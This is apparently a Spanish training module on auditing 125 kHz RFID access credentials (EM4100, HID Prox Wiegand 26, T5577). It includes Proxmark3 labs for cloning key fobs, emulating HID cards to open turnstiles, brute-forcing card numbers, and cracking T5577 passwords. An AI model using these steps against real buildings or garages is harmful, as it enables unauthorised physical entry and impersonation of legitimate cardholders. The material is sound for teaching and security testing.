Módulo 3 Duración: 7 Horas 85% Práctica Técnica LF 125 kHz & Wiegand

Baja Frecuencia (LF 125 kHz) — Auditoría y Clonación

Desmontando el estándar de 125 kHz presente en comunidades, parkings y oficinas: EM4100/4200, HID Prox II (Wiegand 26), Indala, AWID, Keri y el versátil chip Atmel T5577.

🎯 Objetivo Operativo del Módulo:

Dominar la captura en el aire de identificadores de 125 kHz sin cifrar, comprender la arquitectura Wiegand para ejecutar ataques de Replay y fuerza bruta en tornos de paso, y dominar la reprogramación y desprotección del chip Atmel T5577.

🔧 ¿Ya tienes el hardware? Pruébalo en Proxmark3 Web Studio Interfaz web independiente (Web Serial API) para ejecutar estos comandos contra tu Proxmark3 real desde el navegador — no requiere instalar nada.

📑 Índice de Contenidos del Módulo

EM4100 / EM4200: El Estándar Abierto de 64 bits
- Modulación Manchester, matriz de paridad bidimensional y texto plano cíclico
- Lab 3.1: Captura del ID de llavero azul y clonación en T5577 (lf search & clone)
HID Prox II y Formato Estándar Wiegand 26-bit (H10301)
- Anatomía de Wiegand: Paridad, Facility Code (8b) y Card Number (16b)
- Fuerza bruta de Facility Codes y Card IDs en tornos de paso
- Lab 3.2: Replay Attack y emulación activa sin tarjeta física (lf hid sim)
Indala, AWID, Keri y el Chip Atmel T5577 a Fondo
- Modulaciones PSK / FSK y permutación de bits en Indala
- El Bloque 0 de Configuración del T5577 y protección por contraseña (PWD)
- Lab 3.3: Desbloqueo de T5577 protegido y reprogramación con perfiles propietarios

1. EM4100 / EM4200: El Estándar Abierto de 64 bits

El protocolo EM4100 (desarrollado originalmente por EM Microelectronic) es el sistema de control de accesos más extendido del mundo en porteros automáticos, garajes residenciales y gimnasios de bajo presupuesto. Carece por completo de criptografía, desafíos de autenticación o secretos compartidos. Es un simple número transmitido en bucle abierto.

🎯 Objetivos de Aprendizaje

Comprender la modulación Manchester a 125 kHz.
Decodificar manualmente los 64 bits de un tag EM4100.
Clonar un llavero EM4100 en un chip regrabable T5577.

🔑 Conceptos Clave

Modulación Manchester Bits de sincronismo (9 unos) Paridad par Chip T5577 en modo emulación

🧰 Herramientas de este Laboratorio

Proxmark3 Flipper Zero Llaveros regrabables T5577

1.1 Matriz de Datos de 64 bits de EM4100

Tan pronto como la bobina recibe suficiente energía del campo de 125 kHz, el chip transmite cíclicamente una trama exacta de 64 bits codificada en modulación Manchester a 64 ciclos de reloj por bit (RF/64):

┌────────────────────────────────────────────────────────────────────────────────────────┐ │ ESTRUCTURA DE LA TRAMA DE 64 BITS EM4100 │ ├────────────────────────────────────────────────────────────────────────────────────────┤ │ │ │ Encabezado (Preamble): 1 1 1 1 1 1 1 1 1 (9 bits a '1' inmutables) │ │ │ │ D00 D01 D02 D03 P0 -> Versión / Customer Code Byte 0 (Nibble 1) + Paridad Par │ │ D04 D05 D06 D07 P1 -> Versión / Customer Code Byte 0 (Nibble 2) + Paridad Par │ │ D08 D09 D10 D11 P2 -> Data Byte 1 (Nibble 1) + Paridad Par │ │ D12 D13 D14 D15 P3 -> Data Byte 1 (Nibble 2) + Paridad Par │ │ D16 D17 D18 D19 P4 -> Data Byte 2 (Nibble 1) + Paridad Par │ │ D20 D21 D22 D23 P5 -> Data Byte 2 (Nibble 2) + Paridad Par │ │ D24 D25 D26 D27 P6 -> Data Byte 3 (Nibble 1) + Paridad Par │ │ D28 D29 D30 D31 P7 -> Data Byte 3 (Nibble 2) + Paridad Par │ │ D32 D33 D34 D35 P8 -> Data Byte 4 (Nibble 1) + Paridad Par │ │ D36 D37 D38 D39 P9 -> Data Byte 4 (Nibble 2) + Paridad Par │ │ ───────────────────── │ │ PC0 PC1 PC2 PC3 S0 -> Paridad de Columnas (4 bits paridad par) + Stop Bit ('0') │ │ │ │ * Total: 9 bits Preamble + (10 * 5 bits) + 4 bits Paridad Columna + 1 Stop Bit = 64. │ │ * Carga Útil Real: 40 bits (5 Bytes de Identificador Único Hexadecimal). │ └────────────────────────────────────────────────────────────────────────────────────────┘

🛠️ Lab 3.1: Captura de ID y Clonación Completa a Chip T5577

Clonación LF

Meta del Lab: Leer un llavero azul de garaje (EM4100), extraer su identificador hexadecimal de 40 bits y clonarlo en un chip regrabable Atmel T5577 para abrir la puerta.

Búsqueda y Lectura de la Credencial Legítima:

[usb] pm3 --> lf search

# Salida del cliente Proxmark3:
[=] NOTE: some tags need to be in the antenna field for a while
[+] [EM410x] Valid EM410x ID found!
[+] Chipset: EM4100 / EM4200 compatible
[+] Hex ID : 06 00 2B 4E 8A (5 bytes / 10 dígitos)
[+] Decimal: 0002838154
[+] Wiegand: 0x4E8A (20106)
[+] Modulation: Manchester, RF/64

Clonación Inmediata al Chip T5577:

Retira el llavero legítimo, coloca el llavero regrabable T5577 virgen en la antena LF y ejecuta:

[usb] pm3 --> lf em 410x clone --id 06002B4E8A

# Salida esperada:
[+] Preparing to clone EM410x ID 06002B4E8A to T5577...
[+] Writing Block 0 (Config): 0x00148040 (Modulation: Manchester, Bitrate: RF/64)
[+] Writing Block 1: 0x00000000
[+] Writing Block 2: 0x06002B4E
[+] Writing Block 3: 0x8A000000
[+] Done writing. Verifying with lf search...
[+] [EM410x] Valid EM410x ID found! Hex: 06002B4E8A
[+] SUCCESS! Tag cloned correctly.

✅ Resultado Esperado

El T5577 responde de forma idéntica al llavero original ante cualquier lector.

2. HID Prox II y Formato Estándar Wiegand 26-bit (H10301)

Las tarjetas HID Prox (y sus lectores ProxPoint Plus / MaxiProx) dominan los edificios de oficinas gubernamentales y corporativos en todo el mundo occidental. La señal se transmite modulada en FSK (Frequency Shift Keying) alternando entre 125 kHz y 104 kHz.

🎯 Objetivos de Aprendizaje

Entender la estructura del formato estándar Wiegand de 26 bits (1 bit paridad + 8 bits Facility Code + 16 bits Card ID + 1 bit paridad).
Aprender a emular una tarjeta HID al vuelo sin tarjeta física usando el Proxmark3.
Realizar ataques de fuerza bruta de Facility Code en controles de acceso vulnerables.

🔑 Conceptos Clave

Protocolo Wiegand Facility Code (FC) Card Number (CN) Emulación activa en bobina

🧰 Herramientas de este Laboratorio

Proxmark3 Flipper Zero Controladora Wiegand de pruebas

2.1 Anatomía del Protocolo Wiegand H10301 de 26 Bits

┌────────────────────────────────────────────────────────────────────────────────────────┐ │ ESTRUCTURA DE TRAMA WIEGAND 26 BITS (H10301) │ ├────────────────────────────────────────────────────────────────────────────────────────┤ │ │ │ Bit 1: [ EP ] -> Paridad Par (Even Parity) que protege los bits 2 al 13 │ │ Bits 2-9: [ FACILITY CODE ] (8 bits: rango 0 a 255) │ │ Identifica a la empresa, sede o cliente del sistema de accesos. │ │ Bits 10-25: [ CARD NUMBER ] (16 bits: rango 0 a 65535) │ │ Identificador individual del empleado / tarjeta. │ │ Bit 26: [ OP ] -> Paridad Impar (Odd Parity) que protege los bits 14 al 25 │ │ │ │ Ejemplo de Cálculo: │ │ Facility Code (FC): 104 = 0110 1000 (en binario) │ │ Card Number (CN): 4521 = 0001 0001 1010 1001 (en binario) │ │ │ │ - Bits 2-13 (12 bits): 01101000 0001 -> Suma de 1s = 4 (Par) -> Bit 1 (EP) = 0 │ │ - Bits 14-25 (12 bits): 00011010 1001 -> Suma de 1s = 5 (Impar)-> Bit 26(OP) = 0 │ │ Trama completa: 0 01101000 0001000110101001 0 (Hex: 0x2034352) │ └────────────────────────────────────────────────────────────────────────────────────────┘

⚠️ Vulnerabilidad de Espacio de Claves Reducido

Un Facility Code solo tiene 256 combinaciones posibles. Una empresa mediana suele emitir tarjetas correlativas a sus empleados (ej. empleados del 1000 al 1500). Si un atacante observa la tarjeta de un empleado en la cafetería con el número impreso 4520, deducirá que el Facility Code de la empresa es válido y podrá generar credenciales para cualquier otro número.

🛠️ Lab 3.2: Replay Attack y Emulación Activa sin Tarjeta Física

Ataque en Torno

Meta del Lab: Suplantar a un usuario legítimo frente a un lector mural HID emulando la señal de radio directamente desde el Proxmark3 (o Flipper Zero) sin disponer de una tarjeta física.

Lectura e Identificación de Formato HID:

[usb] pm3 --> lf search

[+] [HID Prox] Valid HID Prox ID found!
[+] Format: H10301 (26-bit standard)
[+] Facility Code (FC): 104
[+] Card Number (CN)  : 4521
[+] Raw Hex: 20046e3928

Emulación Activa en Directo (Simulación en Torno):

# Simular la tarjeta acercando la bobina del Proxmark3 al lector
[usb] pm3 --> lf hid sim --fc 104 --cn 4521

# El lector emitirá un 'BEEP', el LED cambiará de rojo a verde y el torno abrirá.
# Para realizar un ataque de fuerza bruta sobre números correlativos:
[usb] pm3 --> lf hid brute --fc 104 --min 4500 --max 4550 --delay 1000

✅ Resultado Esperado

El torno o lector de pruebas activa el relé de apertura por emulación RF.

3. Indala, AWID, Keri y el Chip Atmel T5577 a Fondo

Mientras que EM4100 y HID utilizan modulaciones directas, tecnologías como Indala (Motorola) introducen capas de ofuscación mediante matrices de inversión y permutación de bits en modulación PSK (Phase Shift Keying).

🎯 Objetivos de Aprendizaje

Aprender a configurar los bloques de configuración (Block 0) del T5577 para distintas modulaciones.
Desbloquear chips T5577 protegidos con contraseñas por defecto o mediante fuerza bruta.
Analizar por qué los lectores Indala aplican ofuscación invertida y cómo resolverla.

🔑 Conceptos Clave

Modulación FSK / PSK Config register T5577 Contraseñas de bloque T5577 AOR (Acquisition of Response)

🧰 Herramientas de este Laboratorio

Proxmark3 con diccionario de contraseñas T5577

3.1 El Chip T5577: El Camaleón Universal de LF

El chip Atmel / Microchip ATA5577 dispone de 330 bits de memoria EEPROM divididos en 2 páginas:

Página 0, Bloque 0 (Bloque de Configuración): Define la modulación del front-end analógico (Manchester, FSK1, FSK2, PSK1, PSK2, PSK3, Bi-phase), la tasa de bits (RF/16, RF/32, RF/64), la longitud de la trama y la activación de protección por contraseña.
Página 0, Bloques 1 a 6: Almacenan los bits de datos del payload de emulación.
Página 0, Bloque 7: Contraseña maestra de 32 bits (si el bit PWD del Bloque 0 está activado).

🛠️ Lab 3.3: Desbloqueo de T5577 Protegido y Reseteo de Configuración

Desbloqueo de Chip

Meta del Lab: Recuperar un chip T5577 bloqueado con contraseña por duplicadores comerciales de cerrajería y restaurarlo a su estado de fábrica.

Detección de Bloqueo por Contraseña en T5577:

[usb] pm3 --> lf t55xx detect

[+] Chip type: T55x7 detected
[!] WARNING: Tag is password protected! Commands require -p <pwd>.

Ataque de Diccionario sobre Contraseñas de Duplicadores Comerciales:

# Los duplicadores de cerrajería habituales (HandyBaby, iCopy, etc.) usan claves fijas
[usb] pm3 --> lf t55xx brute -d t55xx_default_pwds.dic

[+] Testing password '51243648'...
[+] Testing password '19920421'...
[+] SUCCESS! Valid password found: '51243648' (0x51243648)

# Desbloquear y limpiar el Bloque 0 para dejar el chip en modo virgen EM4100:
[usb] pm3 --> lf t55xx write -b 0 -d 00148040 -p 51243648

✅ Resultado Esperado

Tarjeta T5577 desbloqueada y lista para reescritura.